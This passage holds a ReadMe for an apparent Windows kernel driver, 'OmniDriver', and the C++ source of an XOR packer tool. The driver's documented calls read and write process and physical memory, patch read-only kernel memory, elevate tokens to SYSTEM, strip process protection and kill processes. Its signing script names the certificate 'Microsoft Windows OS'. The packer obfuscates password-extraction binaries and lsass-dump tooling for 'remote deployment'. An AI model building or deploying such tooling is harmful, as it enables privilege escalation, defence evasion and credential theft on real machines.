Current project layout
- Root-level files intentionally kept in the project root:
  build.ps1
  sign.ps1
  trust.ps1
  ReadMe.txt
- Source tree:
  src\
- Final build artifacts:
  bin\
- Signing material:
  cert\

Device names
- NT device: \\Device\\OmniDriver
- Win32/DOS path: \\\\.\\OmniDriver

Access control
- Device access is restricted by SDDL to SYSTEM and local Administrators.
- SDDL in code: D:P(A;;GA;;;SY)(A;;GA;;;BA)
- The IOCTL definitions use FILE_ANY_ACCESS, but the device ACL is the real access boundary.
- In practice the client should run as Administrator or LocalSystem.

Important interface limits
- MAX_TRANSFER_SIZE: 1 MB
- MAX_BULK_OPERATIONS: 64
- MAX_PHYSMEM_SIZE: 256 KB
- MAX_PROCESS_NAME: 16 bytes including the trailing NUL
- The driver uses METHOD_BUFFERED, so the same buffer is used for input and output.
- For most IOCTLs the real operation result is returned in the Status field inside the request structure.
- Legacy exception: IOCTL_KILL_PROCESS_WESMAR returns the operation status directly as the request status.

IOCTL summary
- IOCTL_READWRITE_DRIVER_READ, function 0x800, struct KERNEL_READWRITE_REQUEST
  Reads virtual memory from the target process.
- IOCTL_READWRITE_DRIVER_WRITE, function 0x801, struct KERNEL_READWRITE_REQUEST
  Writes virtual memory to the target process.
- IOCTL_READWRITE_DRIVER_BULK, function 0x802, struct KERNEL_BULK_OPERATION
  Executes a batch of read/write requests.
- IOCTL_KILL_PROCESS, function 0x803, struct KERNEL_KILL_REQUEST
  Terminates the target PID.
- IOCTL_KILL_PROCESS_WESMAR, code 0x22201C, input ULONG PID
  Legacy compatibility path for the previous client.
- IOCTL_SET_PROTECTION, function 0x804, struct KERNEL_PROTECTION_REQUEST
  Writes the protection byte in EPROCESS.
- IOCTL_PHYSMEM_READ, function 0x805, struct KERNEL_PHYSMEM_REQUEST
  Reads a physical memory range.
- IOCTL_PHYSMEM_WRITE, function 0x806, struct KERNEL_PHYSMEM_REQUEST
  Writes a physical memory range.
- IOCTL_FREE_KERNEL, function 0x808, struct KERNEL_FREE_REQUEST
  Frees an address previously returned by driver allocation.
- IOCTL_WRITE_PROTECTED, function 0x809, struct KERNEL_PROTECTED_WRITE_REQUEST plus trailing payload
  Writes to read-only kernel memory using the payload appended after the header.
- IOCTL_ELEVATE_TOKEN, function 0x80A, struct KERNEL_TOKEN_REQUEST
  Replaces the target primary token with the SYSTEM token.
- IOCTL_ALLOC_KERNEL, function 0x80B, struct KERNEL_ALLOC_REQUEST
  Allocates kernel memory.
- IOCTL_KILL_BY_NAME, function 0x810, struct KERNEL_KILL_NAME_REQUEST
  Terminates matching processes by image name prefix.
- IOCTL_FORCE_CLOSE_HANDLE, function 0x811, struct KERNEL_CLOSE_HANDLE_REQUEST
  Closes a handle in the target process handle table.

Call contract and debugging notes
- If an IOCTL is recognized and the input size is valid, DeviceIoControl usually completes successfully at the request level and the real operation result is written to the Status field inside the request structure.
- For IOCTL_KILL_PROCESS_WESMAR the real operation result is returned directly as the request status, without an output structure.
- For READ, WRITE, KILL, SET_PROTECTION, PHYSMEM, ALLOC, FREE, WRITE_PROTECTED, ELEVATE_TOKEN, KILL_BY_NAME, and FORCE_CLOSE_HANDLE, bytesReturned equals the request structure size.
- For READWRITE_DRIVER_BULK, bytesReturned equals InputBufferLength.
- For IOCTL_KILL_PROCESS_WESMAR, bytesReturned is 0.
- READWRITE_DRIVER_WRITE overwrites Write to TRUE before execution, and READWRITE_DRIVER_READ overwrites Write to FALSE before execution.
- READWRITE_DRIVER_BULK stores Status per sub-operation. The bulk request status is the first failure seen, otherwise STATUS_SUCCESS.
- WRITE_PROTECTED requires one contiguous input buffer: [KERNEL_PROTECTED_WRITE_REQUEST][payload bytes].
- KILL_BY_NAME overwrites the last byte of ProcessName with NUL and treats the name as at most 15 characters plus NUL.
- SET_PROTECTION and ELEVATE_TOKEN reject offsets outside the range 1..0x2000.
- Typical request-level or Status-field errors are STATUS_BUFFER_TOO_SMALL, STATUS_INVALID_PARAMETER, STATUS_INVALID_DEVICE_REQUEST, and on selected paths STATUS_INVALID_ADDRESS.

Request structures
- KERNEL_READWRITE_REQUEST
  Fields: ProcessId, Address, Buffer, Size, Write, Status
- KERNEL_BULK_OPERATION
  Fields: Count, Operations[MAX_BULK_OPERATIONS]
- KERNEL_KILL_REQUEST
  Fields: ProcessId, Status
- KERNEL_PROTECTION_REQUEST
  Fields: ProcessId, ProtectionOffset, ProtectionValue, Status
- KERNEL_PHYSMEM_REQUEST
  Fields: PhysicalAddress, Buffer, Size, Status
- KERNEL_ALLOC_REQUEST
  Fields: Size, Flags, Address, Status
- KERNEL_FREE_REQUEST
  Fields: Address, Status
- KERNEL_PROTECTED_WRITE_REQUEST
  Fields: DstAddress, Size, Status
  Input layout: [header][payload]
- KERNEL_TOKEN_REQUEST
  Fields: ProcessId, TokenOffset, Status
- KERNEL_KILL_NAME_REQUEST
  Fields: ProcessName[16], KilledCount, Status
- KERNEL_CLOSE_HANDLE_REQUEST
  Fields: ProcessId, HandleValue, Status

Notes for testers
- Use only the approved client application.
- Check both the DeviceIoControl result and the Status field inside the request structure.
- For IOCTL_WRITE_PROTECTED the input buffer must contain the structure plus a payload of Size bytes.
- For IOCTL_SET_PROTECTION and IOCTL_ELEVATE_TOKEN the offset must be in the range 1..0x2000, otherwise the request is rejected.
- For IOCTL_KILL_BY_NAME the image name is limited to 15 characters plus NUL.
- For bulk operations each sub-operation has its own Status field.
- For IOCTL_ALLOC_KERNEL the Flags field is bit-based. If bit 0x01 is set, the allocation is non-paged executable. If bit 0x01 is clear, the allocation is non-paged and non-executable. The maximum allocation size is 16 MB.
- The address returned by IOCTL_ALLOC_KERNEL must be freed through IOCTL_FREE_KERNEL. Freeing an address outside the driver's allocation list, or double-free, returns STATUS_INVALID_PARAMETER without modifying memory.
- IOCTL_KILL_BY_NAME matches from the start of the image name with strnicmp. It does not search for substrings in the middle. It terminates every process that matches. KilledCount reports how many processes were actually terminated. STATUS_SUCCESS is still returned when KilledCount is 0.
- IOCTL_FORCE_CLOSE_HANDLE closes a handle in the target process handle table. HandleValue must be a handle opened in that target process, not in the calling process.
- IOCTL_PHYSMEM_READ and IOCTL_PHYSMEM_WRITE validate the requested range against MmGetPhysicalMemoryRanges. If the range is outside normal RAM, STATUS_INVALID_ADDRESS is returned and no mapping is attempted. If MmGetPhysicalMemoryRanges returns NULL, validation is skipped and mapping continues.
- Buffer in KERNEL_READWRITE_REQUEST and KERNEL_PHYSMEM_REQUEST is a user-mode virtual address in the caller process, not a kernel address.

Build
- The project builds from src\OmniDriver.vcxproj.
- Run:
  powershell -ExecutionPolicy Bypass -File .\build.ps1
- build.ps1 locates the newest installed Visual Studio 2026 (18.x) instance automatically.
- The script prepares a clean bin\ directory, builds the Release|x64 KMDF driver, copies only the final package files, and removes intermediate build directories by default.
- Final output files in bin\:
  OmniDriver.sys
  OmniDriver.inf
  omnidriver.cat
- build.ps1 sets SOURCE_DATE_EPOCH and applies a fixed file timestamp of 2030-01-01 00:00:00 to the staged files.
- The project enables /BREPRO on the linker, but the stamped INF version still depends on the actual build moment unless StampInf is later pinned to a fixed DriverVer value.

Signing
- sign.ps1 is for local lab signing only.
- The current workflow creates a self-signed root CA and a self-signed embedded code-signing certificate.
- This does not emulate Microsoft trust. It only creates a local SHA-256 embedded signature for testing.
- The default certificate display name is:
  Microsoft Windows OS
- Run once to create the certificate material:
  powershell -ExecutionPolicy Bypass -File .\sign.ps1 -Create
- Optional custom name:
  powershell -ExecutionPolicy Bypass -File .\sign.ps1 -Create -Name "Microsoft Windows OS"
- Recreate an existing set:
  powershell -ExecutionPolicy Bypass -File .\sign.ps1 -Create -Force
- Sign the current unsigned driver from bin\:
  powershell -ExecutionPolicy Bypass -File .\sign.ps1
- Optional custom timestamp:
  powershell -ExecutionPolicy Bypass -File .\sign.ps1 -Timestamp "2030-01-01 00:00:00"
- Signing output:
  bin\OmniDriver_Signed.sys
- sign.ps1 writes an embedded SHA-256 signature only.
- No catalog signing step is required for the current sc create installation workflow.
- Certificate material stored in cert\:
  <name>-root.cer
  <name>-signing.cer
  <name>-signing.pfx
  <name>-signing.pwd
  signing.config.json
- sign.ps1 also applies the fixed timestamp 2030-01-01 00:00:00 to the signed driver and generated certificate files by default.

Trust note
- A self-signed embedded signature is expected to appear as untrusted until the generated root certificate is imported into a trusted root store on the test machine.
- This is normal for the current lab workflow.
- trust.ps1 imports the generated certificates into the appropriate certificate stores.
- Default command:
  powershell -ExecutionPolicy Bypass -File .\trust.ps1
- Default behavior imports:
  <name>-root.cer -> LocalMachine\Root
  <name>-signing.cer -> LocalMachine\TrustedPublisher
- Current-user only import:
  powershell -ExecutionPolicy Bypass -File .\trust.ps1 -CurrentUser
- Remove previously imported trust entries:
  powershell -ExecutionPolicy Bypass -File .\trust.ps1 -Remove

Installation note
- The current expected install path is service-based loading, for example through sc create.
- For that workflow the embedded signature on OmniDriver_Signed.sys is the relevant artifact.
- The INF and CAT are still built and kept in bin\ because the KMDF packaging step already produces them and they may still be useful later.

<<<FILE: kvcXor/KvcXor.cpp>>>
Created:  2026-04-12 14:57:24
Modified: 2026-04-12 14:57:24
Size:     28.79 KB
#include <iostream>
#include <fstream>
#include <vector>
#include <array>
#include <string>
#include <string_view>
#include <span>
#include <ranges>
#include <algorithm>
#include <filesystem>
#include <optional>
#include <variant>
#include <cstdint>

#ifdef _WIN32
#define NOMINMAX
#include <windows.h>
#endif

namespace fs = std::filesystem;
namespace rng = std::ranges;

// XOR key
constexpr std::array<uint8_t, 7> XOR_KEY = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C };

// File paths
constexpr std::string_view KVC_PASS_EXE    = "kvc_pass.exe";
constexpr std::string_view KVC_CRYPT_DLL   = "kvc_crypt.dll";
constexpr std::string_view KVC_RAW         = "kvc.raw";
constexpr std::string_view KVC_DAT         = "kvc.dat";
constexpr std::string_view KVC_EXE         = "kvc.exe";
constexpr std::string_view KVC_ENC         = "kvc.enc";
// UnderVolter module
constexpr std::string_view UV_LOADER_EFI   = "Loader.efi";
constexpr std::string_view UV_EFI          = "UnderVolter.efi";
constexpr std::string_view UV_INI          = "UnderVolter.ini";
constexpr std::string_view UV_DAT          = "UnderVolter.dat";
// KvcForensic module
constexpr std::string_view FORENSIC_EXE    = "KvcForensic.exe";
constexpr std::string_view FORENSIC_JSON   = "KvcForensic.json";
constexpr std::string_view FORENSIC_DAT    = "kvcforensic.dat";

// Helper for string concatenation (replaces std::format)
inline std::string concat(std::string_view a) {
    return std::string(a);
}

inline std::string concat(std::string_view a, std::string_view b) {
    std::string result;
    result.reserve(a.size() + b.size());
    result.append(a);
    result.append(b);
    return result;
}

inline std::string concat(std::string_view a, std::string_view b, std::string_view c) {
    std::string result;
    result.reserve(a.size() + b.size() + c.size());
    result.append(a);
    result.append(b);
    result.append(c);
    return result;
}

inline std::string concat(std::string_view a, std::string_view b, std::string_view c, std::string_view d) {
    std::string result;
    result.reserve(a.size() + b.size() + c.size() + d.size());
    result.append(a);
    result.append(b);
    result.append(c);
    result.append(d);
    return result;
}

inline std::string concat(std::string_view a, std::string_view b, std::string_view c, 
                         std::string_view d, std::string_view e) {
    std::string result;
    result.reserve(a.size() + b.size() + c.size() + d.size() + e.size());
    result.append(a);
    result.append(b);
    result.append(c);
    result.append(d);
    result.append(e);
    return result;
}

inline std::string concat(std::string_view a, std::string_view b, std::string_view c, 
                         std::string_view d, std::string_view e, std::string_view f) {
    std::string result;
    result.reserve(a.size() + b.size() + c.size() + d.size() + e.size() + f.size());
    result.append(a);
    result.append(b);
    result.append(c);
    result.append(d);
    result.append(e);
    result.append(f);
    return result;
}

inline std::string concat(std::string_view a, std::string_view b, std::string_view c, 
                         std::string_view d, std::string_view e, std::string_view f,
                         std::string_view g) {
    std::string result;
    result.reserve(a.size() + b.size() + c.size() + d.size() + e.size() + f.size() + g.size());
    result.append(a);
    result.append(b);
    result.append(c);
    result.append(d);
    result.append(e);
    result.append(f);
    result.append(g);
    return result;
}

// Simple Result type (replacement for std::expected which MSVC doesn't fully support yet)
template<typename T>
class Result {
    std::variant<T, std::string> data;
    
public:
    Result(T value) : data(std::move(value)) {}
    Result(std::string error) : data(std::move(error)) {}
    
    bool has_value() const { return std::holds_alternative<T>(data); }
    explicit operator bool() const { return has_value(); }
    
    T& value() { return std::get<T>(data); }
    const T& value() const { return std::get<T>(data); }
    
    const std::string& error() const { return std::get<std::string>(data); }
    
    T* operator->() { return &std::get<T>(data); }
    const T* operator->() const { return &std::get<T>(data); }
};

// Specialization for void
template<>
class Result<void> {
    std::optional<std::string> error_msg;
    
public:
    Result() : error_msg(std::nullopt) {}
    Result(std::string error) : error_msg(std::move(error)) {}
    
    bool has_value() const { return !error_msg.has_value(); }
    explicit operator bool() const { return has_value(); }
    
    const std::string& error() const { return *error_msg; }
};

// Console colors
enum class Color : int {
    Black = 0,
    Blue = 1,
    Green = 2,
    Cyan = 3,
    Red = 4,
    Magenta = 5,
    Yellow = 6,
    White = 7,
    Gray = 8,
    LightBlue = 9,
    LightGreen = 10,
    LightCyan = 11,
    LightRed = 12,
    LightMagenta = 13,
    LightYellow = 14,
    BrightWhite = 15
};

void set_color(Color color) {
#ifdef _WIN32
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), static_cast<int>(color));
#else
    static const char* ansi_colors[] = {
        "\033[30m", "\033[34m", "\033[32m", "\033[36m", "\033[31m", "\033[35m", "\033[33m", "\033[37m",
        "\033[90m", "\033[94m", "\033[92m", "\033[96m", "\033[91m", "\033[95m", "\033[93m", "\033[97m"
    };
    if (static_cast<int>(color) >= 0 && static_cast<int>(color) < 16) {
        std::cout << ansi_colors[static_cast<int>(color)];
    }
#endif
}

void reset_color() {
    set_color(Color::White);
}

// RAII color guard
class ColorGuard {
public:
    explicit ColorGuard(Color new_color) {
        set_color(new_color);
    }
    ~ColorGuard() {
        reset_color();
    }
    ColorGuard(const ColorGuard&) = delete;
    ColorGuard& operator=(const ColorGuard&) = delete;
};

// XOR operation
// Auto-vectorization disabled: MSVC generates AVX2 (vpermd/vpsllvd) for i%key.size()
// which crashes on CPUs without AVX2 support (pre-Haswell / Ivy Bridge and older).
#pragma optimize("", off)
void xor_data(std::span<uint8_t> data, std::span<const uint8_t> key) noexcept {
    for (size_t i = 0; i < data.size(); ++i) {
        data[i] ^= key[i % key.size()];
    }
}
#pragma optimize("", on)

// Read entire file into vector
Result<std::vector<uint8_t>> read_file(const fs::path& path) {
    if (!fs::exists(path)) {
        return Result<std::vector<uint8_t>>(
            concat("File '", path.string(), "' does not exist")
        );
    }

    std::ifstream file(path, std::ios::binary);
    if (!file) {
        return Result<std::vector<uint8_t>>(
            concat("Cannot open file '", path.string(), "'")
        );
    }

    std::vector<uint8_t> data(
        (std::istreambuf_iterator<char>(file)),
        std::istreambuf_iterator<char>()
    );

    return data;
}

// Write data to file
Result<void> write_file(const fs::path& path, std::span<const uint8_t> data) {
    std::ofstream file(path, std::ios::binary);
    if (!file) {
        return Result<void>(
            concat("Cannot create file '", path.string(), "'")
        );
    }

    file.write(reinterpret_cast<const char*>(data.data()), data.size());
    
    if (!file) {
        return Result<void>(
            concat("Error writing to file '", path.string(), "'")
        );
    }

    return Result<void>();
}

// Helper to read uint16_t from buffer
constexpr uint16_t read_uint16(std::span<const uint8_t> data, size_t offset) {
    return static_cast<uint16_t>(data[offset]) | 
           (static_cast<uint16_t>(data[offset + 1]) << 8);
}

// Helper to read uint32_t from buffer
constexpr uint32_t read_uint32(std::span<const uint8_t> data, size_t offset) {
    return static_cast<uint32_t>(data[offset]) | 
           (static_cast<uint32_t>(data[offset + 1]) << 8) |
           (static_cast<uint32_t>(data[offset + 2]) << 16) |
           (static_cast<uint32_t>(data[offset + 3]) << 24);
}

// Determine PE file length from buffer
std::optional<size_t> get_pe_file_length(std::span<const uint8_t> data, size_t offset = 0) noexcept {
    try {
        // Check if we have enough data for DOS header
        if (data.size() < offset + 0x40) {
            return std::nullopt;
        }

        // Check for MZ signature
        if (data[offset] != 'M' || data[offset + 1] != 'Z') {
            return std::nullopt;
        }

        // Get e_lfanew from offset 0x3C
        const uint32_t e_lfanew = read_uint32(data, offset + 0x3C);
        const size_t pe_header_offset = offset + e_lfanew;

        // Check if we have enough data for PE header
        if (pe_header_offset + 6 > data.size()) {
            return std::nullopt;
        }

        // Check for PE signature
        if (data[pe_header_offset] != 'P' || data[pe_header_offset + 1] != 'E' ||
            data[pe_header_offset + 2] != 0 || data[pe_header_offset + 3] != 0) {
            return std::nullopt;
        }

        // Get number of sections and size of optional header
        const uint16_t number_of_sections = read_uint16(data, pe_header_offset + 6);
        const uint16_t size_of_optional_header = read_uint16(data, pe_header_offset + 20);

        // Calculate section table offset
        const size_t section_table_offset = pe_header_offset + 24 + size_of_optional_header;

        // Check if we have enough data for section table
        if (section_table_offset + number_of_sections * 40 > data.size()) {
            return std::nullopt;
        }

        // Find the maximum end of section raw data
        size_t max_end = 0;
        for (uint16_t i = 0; i < number_of_sections; ++i) {
            const size_t sh_offset = section_table_offset + i * 40;

            const uint32_t size_of_raw = read_uint32(data, sh_offset + 16);
            const uint32_t pointer_to_raw = read_uint32(data, sh_offset + 20);

            if (pointer_to_raw == 0) continue;

            const size_t end = pointer_to_raw + size_of_raw;
            max_end = std::max(max_end, end);
        }

        // If we found section data, use it
        if (max_end > 0) {
            const size_t header_end = section_table_offset + number_of_sections * 40;
            return std::max(max_end, header_end);
        }

        // Fallback: Use SizeOfHeaders from optional header
        const size_t optional_header_offset = pe_header_offset + 24;
        if (optional_header_offset + 64 <= data.size()) {
            const uint32_t size_of_headers = read_uint32(data, optional_header_offset + 60);
            if (size_of_headers > 0) {
                return size_of_headers;
            }
        }
    }
    catch (...) {
        return std::nullopt;
    }

    return std::nullopt;
}

// Find next MZ header in buffer
std::optional<size_t> find_next_mz_header(std::span<const uint8_t> data, size_t start_offset) {
    constexpr std::array<uint8_t, 2> pattern = { 'M', 'Z' };
    
    auto search_range = rng::subrange(
        data.begin() + start_offset,
        data.end()
    );

    auto result = rng::search(search_range, pattern);
    
    if (result.empty()) {
        return std::nullopt;
    }

    return std::distance(data.begin(), result.begin());
}

// Ask user Y/N question
bool ask_yes_no(std::string_view question) {
    std::cout << question << " (Y/N): ";
    std::string answer;
    std::getline(std::cin, answer);
    
    return !answer.empty() && (answer[0] == 'Y' || answer[0] == 'y');
}

// Encode files: kvc_pass.exe + kvc_crypt.dll -> kvc.raw + kvc.dat
Result<void> encode_files() {
    std::cout << "Step 1: Encoding " << KVC_PASS_EXE << " + " << KVC_CRYPT_DLL << "...\n";
    
    // Read both files
    auto exe_result = read_file(KVC_PASS_EXE);
    if (!exe_result) {
        return Result<void>(exe_result.error());
    }

    auto dll_result = read_file(KVC_CRYPT_DLL);
    if (!dll_result) {
        return Result<void>(dll_result.error());
    }

    // Combine files
    std::vector<uint8_t> combined_data;
    combined_data.reserve(exe_result->size() + dll_result->size());
    combined_data.insert(combined_data.end(), exe_result->begin(), exe_result->end());
    combined_data.insert(combined_data.end(), dll_result->begin(), dll_result->end());

    // Write raw file
    if (auto result = write_file(KVC_RAW, combined_data); !result) {
        return result;
    }

    // XOR encode the data
    xor_data(combined_data, XOR_KEY);

    // Write encoded file
    if (auto result = write_file(KVC_DAT, combined_data); !result) {
        return result;
    }

    std::cout << "  -> Files combined -> " << KVC_RAW << "\n";
    std::cout << "  -> Combined file XOR-encoded -> " << KVC_DAT << "\n";
    
    return Result<void>();
}

// Decode files: kvc.dat -> kvc.raw + kvc_pass.exe + kvc_crypt.dll
Result<void> decode_files() {
    std::cout << "Decoding " << KVC_DAT << "...\n";
    
    auto enc_result = read_file(KVC_DAT);
    if (!enc_result) {
        return Result<void>(enc_result.error());
    }

    // XOR decode the data
    std::vector<uint8_t> dec_data = std::move(enc_result.value());
    xor_data(dec_data, XOR_KEY);

    // Write decoded raw file
    if (auto result = write_file(KVC_RAW, dec_data); !result) {
        return result;
    }

    // Try to determine the exact size of the first PE file
    auto first_size = get_pe_file_length(dec_data, 0);

    // Fallback if PE parsing failed
    if (!first_size || *first_size >= dec_data.size()) {
        std::cout << "  -> PE parsing failed, using fallback search for MZ header...\n";

        const size_t search_start = std::min<size_t>(0x200, dec_data.size() - 1);
        first_size = find_next_mz_header(dec_data, search_start);

        if (!first_size) {
            // Ultimate fallback: don't split
            first_size = dec_data.size();
        }
    }

    // Split the files
    if (auto result = write_file(KVC_PASS_EXE, std::span(dec_data.data(), *first_size)); !result) {
        return result;
    }

    if (auto result = write_file(KVC_CRYPT_DLL, std::span(dec_data.data() + *first_size, dec_data.size() - *first_size)); !result) {
        return result;
    }

    std::cout << "  -> Decoded -> " << KVC_RAW << "\n";
    std::cout << "  -> Split into " << KVC_PASS_EXE << " and " << KVC_CRYPT_DLL << "\n";
    
    return Result<void>();
}

// Build distribution package: kvc.exe + kvc.dat -> kvc.enc
Result<void> build_distribution() {
    std::cout << "Building distribution package...\n";
    
    // Check if kvc.dat exists
    if (!fs::exists(KVC_DAT)) {
        std::cout << "  -> " << KVC_DAT << " not found.\n";
        
        // Check if source files exist
        if (!fs::exists(KVC_PASS_EXE) || !fs::exists(KVC_CRYPT_DLL)) {
            return Result<void>(
                concat("Cannot create ", KVC_DAT, ": missing ", KVC_PASS_EXE, " or ", KVC_CRYPT_DLL)
            );
        }

        // Ask if we should create it
        if (ask_yes_no(concat("Create ", KVC_DAT, " from ", KVC_PASS_EXE, " and ", KVC_CRYPT_DLL, "?"))) {
            if (auto result = encode_files(); !result) {
                return result;
            }
        } else {
            return Result<void>("Operation cancelled by user");
        }
    }

    // Read both files
    auto exe_result = read_file(KVC_EXE);
    if (!exe_result) {
        return Result<void>(exe_result.error());
    }

    auto dat_result = read_file(KVC_DAT);
    if (!dat_result) {
        return Result<void>(dat_result.error());
    }

    // Combine files
    std::vector<uint8_t> combined_data;
    combined_data.reserve(exe_result->size() + dat_result->size());
    combined_data.insert(combined_data.end(), exe_result->begin(), exe_result->end());
    combined_data.insert(combined_data.end(), dat_result->begin(), dat_result->end());

    // XOR encode the combined data
    xor_data(combined_data, XOR_KEY);

    // Write encoded distribution file
    if (auto result = write_file(KVC_ENC, combined_data); !result) {
        return result;
    }

    std::cout << "  -> Distribution package created -> " << KVC_ENC << "\n";
    std::cout << "  -> Ready for remote deployment!\n";
    
    return Result<void>();
}

// Decode distribution package: kvc.enc -> kvc.exe + kvc.dat
Result<void> decode_distribution() {
    std::cout << "Decoding distribution package...\n";
    
    auto enc_result = read_file(KVC_ENC);
    if (!enc_result) {
        return Result<void>(enc_result.error());
    }

    // XOR decode the data
    std::vector<uint8_t> dec_data = std::move(enc_result.value());
    xor_data(dec_data, XOR_KEY);

    // Try to determine the exact size of kvc.exe
    auto exe_size = get_pe_file_length(dec_data, 0);

    // Fallback if PE parsing failed
    if (!exe_size || *exe_size >= dec_data.size()) {
        std::cout << "  -> PE parsing failed, using fallback search for MZ header...\n";

        const size_t search_start = std::min<size_t>(0x200, dec_data.size() - 1);
        exe_size = find_next_mz_header(dec_data, search_start);

        if (!exe_size) {
            // Ultimate fallback: use half
            exe_size = dec_data.size() / 2;
        }
    }

    // Split the files
    if (auto result = write_file(KVC_EXE, std::span(dec_data.data(), *exe_size)); !result) {
        return result;
    }

    if (auto result = write_file(KVC_DAT, std::span(dec_data.data() + *exe_size, dec_data.size() - *exe_size)); !result) {
        return result;
    }

    std::cout << "  -> Distribution package decoded -> " << KVC_EXE << " + " << KVC_DAT << "\n";
    
    return Result<void>();
}

// Decode everything: kvc.enc -> kvc.exe + kvc_pass.exe + kvc_crypt.dll
Result<void> decode_everything() {
    std::cout << "Complete decoding of distribution package...\n";
    
    // Check if kvc.enc exists
    if (!fs::exists(KVC_ENC)) {
        std::cout << "  -> " << KVC_ENC << " not found.\n";
        
        // Check if we can create it from existing files
        if (fs::exists(KVC_EXE) && fs::exists(KVC_DAT)) {
            if (ask_yes_no(concat("Create ", KVC_ENC, " from ", KVC_EXE, " and ", KVC_DAT, "?"))) {
                if (auto result = build_distribution(); !result) {
                    return result;
                }
            } else {
                return Result<void>("Operation cancelled by user");
            }
        } else {
            return Result<void>(concat("File '", KVC_ENC, "' does not exist"));
        }
    }

    auto enc_result = read_file(KVC_ENC);
    if (!enc_result) {
        return Result<void>(enc_result.error());
    }

    // XOR decode the data
    std::vector<uint8_t> dec_data = std::move(enc_result.value());
    xor_data(dec_data, XOR_KEY);

    // Find first PE file (kvc.exe)
    auto first_pe_size = get_pe_file_length(dec_data, 0);
    
    if (!first_pe_size || *first_pe_size >= dec_data.size()) {
        return Result<void>("Cannot determine first PE file size");
    }

    // Extract kvc.exe
    std::vector<uint8_t> kvc_exe_data(dec_data.begin(), dec_data.begin() + *first_pe_size);
    
    // The remaining data should be kvc.dat
    std::vector<uint8_t> kvc_dat_data(dec_data.begin() + *first_pe_size, dec_data.end());
    
    // Decode kvc.dat to get kvc_pass.exe and kvc_crypt.dll
    xor_data(kvc_dat_data, XOR_KEY);
    
    // Find the PE file in kvc.dat (kvc_pass.exe)
    auto second_pe_size = get_pe_file_length(kvc_dat_data, 0);
    
    if (!second_pe_size || *second_pe_size >= kvc_dat_data.size()) {
        return Result<void>("Cannot determine second PE file size in kvc.dat");
    }

    // Write all files
    if (auto result = write_file(KVC_EXE, kvc_exe_data); !result) {
        return result;
    }

    if (auto result = write_file(KVC_PASS_EXE, std::span(kvc_dat_data.data(), *second_pe_size)); !result) {
        return result;
    }

    if (auto result = write_file(KVC_CRYPT_DLL, std::span(kvc_dat_data.data() + *second_pe_size, kvc_dat_data.size() - *second_pe_size)); !result) {
        return result;
    }

    std::cout << "  -> Complete decoding successful!\n";
    std::cout << "  -> Extracted: " << KVC_EXE << ", " << KVC_PASS_EXE << ", " << KVC_CRYPT_DLL << "\n";
    
    return Result<void>();
}

// Encode UnderVolter module: Loader.efi + UnderVolter.efi + UnderVolter.ini -> UnderVolter.dat
Result<void> encode_undervolter() {
    std::cout << "Encoding " << UV_LOADER_EFI << " + " << UV_EFI << " + " << UV_INI << "...\n";

    auto loader_result = read_file(UV_LOADER_EFI);
    if (!loader_result) return Result<void>(loader_result.error());

    auto efi_result = read_file(UV_EFI);
    if (!efi_result) return Result<void>(efi_result.error());

    auto ini_result = read_file(UV_INI);
    if (!ini_result) return Result<void>(ini_result.error());

    // Concatenate: Loader.efi | UnderVolter.efi | UnderVolter.ini
    std::vector<uint8_t> combined;
    combined.reserve(loader_result->size() + efi_result->size() + ini_result->size());
    combined.insert(combined.end(), loader_result->begin(), loader_result->end());
    combined.insert(combined.end(), efi_result->begin(),    efi_result->end());
    combined.insert(combined.end(), ini_result->begin(),    ini_result->end());

    // XOR encrypt (same key as kvc.dat)
    xor_data(combined, XOR_KEY);

    if (auto result = write_file(UV_DAT, combined); !result) return result;

    {
        ColorGuard green(Color::Green);
        std::cout << "  -> " << UV_LOADER_EFI << " (" << loader_result->size() << " B)"
                  << " + " << UV_EFI << " (" << efi_result->size() << " B)"
                  << " + " << UV_INI << " (" << ini_result->size() << " B)"
                  << "\n  -> XOR-encrypted -> " << UV_DAT
                  << " (" << combined.size() << " B)\n";
    }
    std::cout << "  -> Deploy with: kvc undervolter deploy\n";
    return Result<void>();
}

// Encode KvcForensic module: KvcForensic.exe + KvcForensic.json -> kvcforensic.dat
Result<void> encode_forensic() {
    std::cout << "Encoding " << FORENSIC_EXE << " + " << FORENSIC_JSON << "...\n";

    auto exe_result = read_file(FORENSIC_EXE);
    if (!exe_result) return Result<void>(exe_result.error());

    auto json_result = read_file(FORENSIC_JSON);
    if (!json_result) return Result<void>(json_result.error());

    // Concatenate: KvcForensic.exe | KvcForensic.json
    std::vector<uint8_t> combined;
    combined.reserve(exe_result->size() + json_result->size());
    combined.insert(combined.end(), exe_result->begin(), exe_result->end());
    combined.insert(combined.end(), json_result->begin(), json_result->end());

    // XOR encrypt (same key as kvc.dat)
    xor_data(combined, XOR_KEY);

    if (auto result = write_file(FORENSIC_DAT, combined); !result) return result;

    {
        ColorGuard green(Color::Green);
        std::cout << "  -> " << FORENSIC_EXE  << " (" << exe_result->size()  << " B)"
                  << " + "   << FORENSIC_JSON << " (" << json_result->size() << " B)"
                  << "\n  -> XOR-encrypted -> " << FORENSIC_DAT
                  << " (" << combined.size() << " B)\n";
    }
    std::cout << "  -> Deploy with: kvc setup (when kvcforensic.dat is in the same directory)\n";
    std::cout << "  -> Analyze dumps: kvc analyze lsass.dmp  |  kvc analyze lsass  |  kvc analyze --gui\n";
    return Result<void>();
}

// Display menu
void display_menu() {
#ifdef _WIN32
    SetConsoleOutputCP(CP_UTF8);
#endif
    auto border = [](std::string_view s) { ColorGuard cg(Color::Gray); std::cout << s; };
    auto label  = [](std::string_view s) { ColorGuard cg(Color::LightYellow); std::cout << s; };
    auto value  = [](std::string_view s) { ColorGuard cg(Color::LightCyan); std::cout << s; };
    auto title  = [](std::string_view s) { ColorGuard cg(Color::BrightWhite); std::cout << s; };

    border("╔══════════════════════════════╦══════════════════════════════════════════════════════╗\n");
    border("║"); title("             TOOL             "); border("║"); title("                 FILE ENCODER/DECODER                 "); border("║\n");
    border("╠══════════════════════════════╬══════════════════════════════════════════════════════╣\n");
    
    border("║"); label(" 1. ENCODE                    "); border("║"); value(" kvc_pass.exe + kvc_crypt.dll                         "); border("║\n");
    border("║"); label("                              "); border("║"); value(" -> kvc.raw + kvc.dat                                 "); border("║\n");
    border("╠══════════════════════════════╬══════════════════════════════════════════════════════╣\n");
    
    border("║"); label(" 2. DECODE                    "); border("║"); value(" kvc.dat                                              "); border("║\n");
    border("║"); label("                              "); border("║"); value(" -> kvc.raw + kvc_pass.exe + kvc_crypt.dll            "); border("║\n");
